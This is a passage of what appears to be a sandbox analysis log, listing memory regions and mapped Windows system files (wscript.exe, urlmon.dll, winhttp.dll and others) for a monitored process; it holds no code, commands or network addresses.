"" Region: id = 6784 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 6785 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 6786 start_va = 0x1b8c0000 end_va = 0x1b8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8c0000" filename = "" Region: id = 6787 start_va = 0x1b8d0000 end_va = 0x1b8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8d0000" filename = "" Region: id = 6788 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 6789 start_va = 0x1ad80000 end_va = 0x1ad8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad80000" filename = "" Region: id = 6790 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 6791 start_va = 0x1ad80000 end_va = 0x1ad8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad80000" filename = "" Region: id = 6792 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 6793 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 6794 start_va = 0x1b8c0000 end_va = 0x1b8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8c0000" filename = "" Region: id = 6795 start_va = 0x1b8d0000 end_va = 0x1b8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8d0000" filename = "" Region: id = 6796 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 6797 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 6798 start_va = 0x1ad80000 end_va = 0x1ad8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad80000" filename = "" Region: id = 6799 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 6800 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 6801 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 6802 start_va = 0x1ad80000 end_va = 0x1ad8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad80000" filename = "" Region: id = 6803 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 6804 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 6805 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 6806 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 6807 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 6808 start_va = 0x1ad80000 end_va = 0x1ad8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad80000" filename = "" Region: id = 6809 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 6810 start_va = 0x1ad80000 end_va = 0x1ad8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad80000" filename = "" Region: id = 6811 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 6831 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 6832 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 6833 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 6834 start_va = 0x1ad80000 end_va = 0x1ad8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad80000" filename = "" Region: id = 6835 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 6836 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 6837 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 6838 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 6839 start_va = 0x1ad80000 end_va = 0x1ad8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad80000" filename = "" Region: id = 6840 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 6841 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 6842 start_va = 0x1d0e0000 end_va = 0x1d1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d0e0000" filename = "" Region: id = 6843 start_va = 0x1d1e0000 end_va = 0x1d2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d1e0000" filename = "" Region: id = 6844 start_va = 0x7ffa769f0000 end_va = 0x7ffa76b75fff monitored = 0 entry_point = 0x7ffa76a3d700 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 6845 start_va = 0x1ad70000 end_va = 0x1ad73fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 6846 start_va = 0x1b580000 end_va = 0x1b5c4fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000010.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000010.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000010.db") Region: id = 6847 start_va = 0x1ad80000 end_va = 0x1ad83fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 6848 start_va = 0x1b5d0000 end_va = 0x1b65dfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db") Region: id = 6849 start_va = 0x1ad90000 end_va = 0x1ada0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\System32\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\propsys.dll.mui") Region: id = 6850 start_va = 0x1b660000 end_va = 0x1b663fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 6851 start_va = 0x1b670000 end_va = 0x1b684fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000001b.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000001b.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000001b.db") Region: id = 6852 start_va = 0x1b690000 end_va = 0x1b690fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b690000" filename = "" Region: id = 6853 start_va = 0x1d2e0000 end_va = 0x1d4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d2e0000" filename = "" Region: id = 6854 start_va = 0x1d4e0000 end_va = 0x1d5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d4e0000" filename = "" Region: id = 6855 start_va = 0x1d5e0000 end_va = 0x1d6dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d5e0000" filename = "" Region: id = 6856 start_va = 0x1b660000 end_va = 0x1b662fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wscript.exe.mui" filename = "\\Windows\\System32\\en-US\\wscript.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\wscript.exe.mui") Region: id = 6857 start_va = 0x1b8c0000 end_va = 0x1b8edfff monitored = 0 entry_point = 0x1b8c2ec0 region_type = mapped_file name = "wscript.exe" filename = "\\Windows\\System32\\wscript.exe" (normalized: "c:\\windows\\system32\\wscript.exe") Region: id = 6858 start_va = 0x1b660000 end_va = 0x1b662fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wscript.exe.mui" filename = "\\Windows\\System32\\en-US\\wscript.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\wscript.exe.mui") Region: id = 6859 start_va = 0x1b8c0000 end_va = 0x1b8edfff monitored = 0 entry_point = 0x1b8c2ec0 region_type = mapped_file name = "wscript.exe" filename = "\\Windows\\System32\\wscript.exe" (normalized: "c:\\windows\\system32\\wscript.exe") Region: id = 6860 start_va = 0x1b660000 end_va = 0x1b662fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wscript.exe.mui" filename = "\\Windows\\System32\\en-US\\wscript.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\wscript.exe.mui") Region: id = 6861 start_va = 0x1b8c0000 end_va = 0x1b8edfff monitored = 0 entry_point = 0x1b8c2ec0 region_type = mapped_file name = "wscript.exe" filename = "\\Windows\\System32\\wscript.exe" (normalized: "c:\\windows\\system32\\wscript.exe") Region: id = 6862 start_va = 0x1b660000 end_va = 0x1b662fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wscript.exe.mui" filename = "\\Windows\\System32\\en-US\\wscript.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\wscript.exe.mui") Region: id = 6863 start_va = 0x1b8c0000 end_va = 0x1b8edfff monitored = 0 entry_point = 0x1b8c2ec0 region_type = mapped_file name = "wscript.exe" filename = "\\Windows\\System32\\wscript.exe" (normalized: "c:\\windows\\system32\\wscript.exe") Region: id = 6864 start_va = 0x1b660000 end_va = 0x1b661fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b660000" filename = "" Region: id = 6865 start_va = 0x7ffa6d880000 end_va = 0x7ffa6daf3fff monitored = 0 entry_point = 0x7ffa6d8f0400 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.0_none_8c15ae12515e1c22\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.0_none_8c15ae12515e1c22\\comctl32.dll") Region: id = 6866 start_va = 0x1b6a0000 end_va = 0x1b6a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 6867 start_va = 0x1b6b0000 end_va = 0x1b6b1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b6b0000" filename = "" Region: id = 6868 start_va = 0x7ffa6eb60000 end_va = 0x7ffa6ed17fff monitored = 0 entry_point = 0x7ffa6ebce630 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Region: id = 6869 start_va = 0x7ffa72950000 end_va = 0x7ffa72cd1fff monitored = 0 entry_point = 0x7ffa729a1220 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 6870 start_va = 0x1b6a0000 end_va = 0x1b6a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b6a0000" filename = "" Region: id = 6888 start_va = 0x7ffa77990000 end_va = 0x7ffa779c0fff monitored = 0 entry_point = 0x7ffa77997d10 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 6889 start_va = 0x7ffa76310000 end_va = 0x7ffa763abfff monitored = 0 entry_point = 0x7ffa763696a0 region_type = mapped_file name = "efswrt.dll" filename = "\\Windows\\System32\\efswrt.dll" (normalized: "c:\\windows\\system32\\efswrt.dll") Region: id = 6890 start_va = 0x7ffa74290000 end_va = 0x7ffa743c5fff monitored = 0 entry_point = 0x7ffa742bf350 region_type = mapped_file name = "wintypes.dll" filename = "\\Windows\\System32\\WinTypes.dll" (normalized: "c:\\windows\\system32\\wintypes.dll") Region: id = 6900 start_va = 0x7ffa6d190000 end_va = 0x7ffa6d1dffff monitored = 0 entry_point = 0x7ffa6d192580 region_type = mapped_file name = "edputil.dll" filename = "\\Windows\\System32\\edputil.dll" (normalized: "c:\\windows\\system32\\edputil.dll") Region: id = 6925 start_va = 0x1d6e0000 end_va = 0x1d7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d6e0000" filename = "" Region: id = 6937 start_va = 0x1d7e0000 end_va = 0x1d8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d7e0000" filename = "" Region: id = 7112 start_va = 0x1b1c0000 end_va = 0x1b1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1c0000" filename = "" Region: id = 7113 start_va = 0x1b1c0000 end_va = 0x1b1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1c0000" filename = "" Region: id = 7114 start_va = 0x1b1d0000 end_va = 0x1b1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1d0000" filename = "" Region: id = 7115 start_va = 0x1b1e0000 end_va = 0x1b1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1e0000" filename = "" Region: id = 7116 start_va = 0x1b1e0000 end_va = 0x1b1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1e0000" filename = "" Region: id = 7117 start_va = 0x1b1e0000 end_va = 0x1b1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1e0000" filename = "" Region: id = 7118 start_va = 0x1b1e0000 end_va = 0x1b1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1e0000" filename = "" Region: id = 7119 start_va = 0x1b1f0000 end_va = 0x1b1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1f0000" filename = "" Region: id = 7120 start_va = 0x1b1e0000 end_va = 0x1b1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1e0000" filename = "" Region: id = 7121 start_va = 0x1b1e0000 end_va = 0x1b1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1e0000" filename = "" Region: id = 7122 start_va = 0x1b1e0000 end_va = 0x1b1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1e0000" filename = "" Region: id = 7123 start_va = 0x1b1e0000 end_va = 0x1b1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1e0000" filename = "" Region: id = 7124 start_va = 0x1b1e0000 end_va = 0x1b1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1e0000" filename = "" Region: id = 7125 start_va = 0x1b1f0000 end_va = 0x1b1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1f0000" filename = "" Region: id = 7126 start_va = 0x1b200000 end_va = 0x1b20ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b200000" filename = "" Region: id = 7127 start_va = 0x1b1e0000 end_va = 0x1b1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1e0000" filename = "" Region: id = 7128 start_va = 0x1b1e0000 end_va = 0x1b1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1e0000" filename = "" Region: id = 7129 start_va = 0x1b1e0000 end_va = 0x1b1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1e0000" filename = "" Region: id = 7130 start_va = 0x1b1e0000 end_va = 0x1b1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1e0000" filename = "" Region: id = 7131 start_va = 0x1b1e0000 end_va = 0x1b1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1e0000" filename = "" Region: id = 7132 start_va = 0x1b1f0000 end_va = 0x1b1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1f0000" filename = "" Region: id = 7133 start_va = 0x1b1e0000 end_va = 0x1b1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1e0000" filename = "" Region: id = 7134 start_va = 0x1b1f0000 end_va = 0x1b1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1f0000" filename = "" Region: id = 7135 start_va = 0x1b200000 end_va = 0x1b20ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b200000" filename = "" Region: id = 7136 start_va = 0x1b1e0000 end_va = 0x1b1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1e0000" filename = "" Region: id = 7137 start_va = 0x1b1e0000 end_va = 0x1b1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1e0000" filename = "" Region: id = 7138 start_va = 0x1b1f0000 end_va = 0x1b1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1f0000" filename = "" Region: id = 7139 start_va = 0x1b1e0000 end_va = 0x1b1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1e0000" filename = "" Region: id = 7140 start_va = 0x1b1e0000 end_va = 0x1b1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1e0000" filename = "" Region: id = 7141 start_va = 0x1b1e0000 end_va = 0x1b1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1e0000" filename = "" Region: id = 7142 start_va = 0x1b1e0000 end_va = 0x1b1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1e0000" filename = "" Region: id = 7143 start_va = 0x1b1e0000 end_va = 0x1b1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1e0000" filename = "" Region: id = 7144 start_va = 0x1b1e0000 end_va = 0x1b1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1e0000" filename = "" Region: id = 7145 start_va = 0x1b1e0000 end_va = 0x1b1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1e0000" filename = "" Region: id = 7146 start_va = 0x1b1e0000 end_va = 0x1b1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1e0000" filename = "" Region: id = 7147 start_va = 0x1b1f0000 end_va = 0x1b1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1f0000" filename = "" Region: id = 7148 start_va = 0x1b200000 end_va = 0x1b20ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b200000" filename = "" Region: id = 7149 start_va = 0x1b210000 end_va = 0x1b21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b210000" filename = "" Region: id = 7150 start_va = 0x1b220000 end_va = 0x1b22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b220000" filename = "" Region: id = 7151 start_va = 0x1b230000 end_va = 0x1b23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b230000" filename = "" Region: id = 7152 start_va = 0x1b240000 end_va = 0x1b24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b240000" filename = "" Region: id = 7153 start_va = 0x1b250000 end_va = 0x1b25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b250000" filename = "" Region: id = 7154 start_va = 0x1b260000 end_va = 0x1b26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b260000" filename = "" Region: id = 7155 start_va = 0x1b270000 end_va = 0x1b27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b270000" filename = "" Region: id = 7156 start_va = 0x1b280000 end_va = 0x1b29ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b280000" filename = "" Region: id = 7157 start_va = 0x1b2a0000 end_va = 0x1b2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2a0000" filename = "" Region: id = 7158 start_va = 0x1b8c0000 end_va = 0x1b8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8c0000" filename = "" Region: id = 7159 start_va = 0x1b8d0000 end_va = 0x1b8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8d0000" filename = "" Region: id = 7160 start_va = 0x1b8e0000 end_va = 0x1b8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8e0000" filename = "" Region: id = 7161 start_va = 0x1b8f0000 end_va = 0x1b8fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8f0000" filename = "" Region: id = 7162 start_va = 0x1b1c0000 end_va = 0x1b1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1c0000" filename = "" Region: id = 7163 start_va = 0x1b1d0000 end_va = 0x1b1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1d0000" filename = "" Region: id = 7164 start_va = 0x1b1c0000 end_va = 0x1b1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1c0000" filename = "" Region: id = 7165 start_va = 0x1b1c0000 end_va = 0x1b1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1c0000" filename = "" Region: id = 7166 start_va = 0x1b1d0000 end_va = 0x1b1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1d0000" filename = "" Region: id = 7167 start_va = 0x7ff9ff4f0000 end_va = 0x7ff9ff4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff4f0000" filename = "" Region: id = 7169 start_va = 0x7ffa592f0000 end_va = 0x7ffa593a9fff monitored = 0 entry_point = 0x7ffa592f5d90 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll") Region: id = 7171 start_va = 0x7ffa62030000 end_va = 0x7ffa62057fff monitored = 0 entry_point = 0x7ffa6203c7c0 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll") Region: id = 7172 start_va = 0x7ffa714d0000 end_va = 0x7ffa714e3fff monitored = 0 entry_point = 0x7ffa714d2d50 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 7174 start_va = 0x7ffa77d70000 end_va = 0x7ffa77dcbfff monitored = 0 entry_point = 0x7ffa77d86f70 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 7175 start_va = 0x1b1c0000 end_va = 0x1b29ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 7176 start_va = 0x1d8e0000 end_va = 0x1d9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d8e0000" filename = "" Region: id = 7177 start_va = 0x7ffa724d0000 end_va = 0x7ffa72597fff monitored = 0 entry_point = 0x7ffa725113f0 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 7178 start_va = 0x7ffa70370000 end_va = 0x7ffa70384fff monitored = 0 entry_point = 0x7ffa70372dc0 region_type = mapped_file name = "ondemandconnroutehelper.dll" filename = "\\Windows\\System32\\OnDemandConnRouteHelper.dll" (normalized: "c:\\windows\\system32\\ondemandconnroutehelper.dll") Region: id = 7179 start_va = 0x1d9e0000 end_va = 0x1dadffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d9e0000" filename = "" Region: id = 7180 start_va = 0x1b2a0000 end_va = 0x1b2a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\System32\\tzres.dll" (normalized: "c:\\windows\\system32\\tzres.dll") Region: id = 7181 start_va = 0x1b2a0000 end_va = 0x1b2a8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\System32\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\tzres.dll.mui") Region: id = 7182 start_va = 0x1b2a0000 end_va = 0x1b2a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\System32\\tzres.dll" (normalized: "c:\\windows\\system32\\tzres.dll") Region: id = 7183 start_va = 0x1b2a0000 end_va = 0x1b2a8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\System32\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\tzres.dll.mui") Region: id = 7184 start_va = 0x1b2a0000 end_va = 0x1b2a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\System32\\tzres.dll" (normalized: "c:\\windows\\system32\\tzres.dll") Region: id = 7185 start_va = 0x1b2a0000 end_va = 0x1b2a8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\System32\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\tzres.dll.mui") Region: id = 7186 start_va = 0x1dae0000 end_va = 0x1dbdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dae0000" filename = "" Region: id = 7187 start_va = 0x7ffa6f830000 end_va = 0x7ffa6f839fff monitored = 0 entry_point = 0x7ffa6f8314c0 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 7188 start_va = 0x7ffa70eb0000 end_va = 0x7ffa70f16fff monitored = 0 entry_point = 0x7ffa70eb63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 7191 start_va = 0x1b2a0000 end_va = 0x1b2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2a0000" filename = "" Region: id = 7192 start_va = 0x1b2a0000 end_va = 0x1b2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2a0000" filename = "" Region: id = 7193 start_va = 0x1b2a0000 end_va = 0x1b2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2a0000" filename = "" Region: id = 7194 start_va = 0x1b2b0000 end_va = 0x1b2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2b0000" filename = "" Region: id = 7195 start_va = 0x1b8c0000 end_va = 0x1b8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8c0000" filename = "" Region: id = 7196 start_va = 0x1b2a0000 end_va = 0x1b2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2a0000" filename = "" Region: id = 7197 start_va = 0x1b8c0000 end_va = 0x1b8fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8c0000" filename = "" Region: id = 7198 start_va = 0x1b2b0000 end_va = 0x1b2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2b0000" filename = "" Region: id = 7199 start_va = 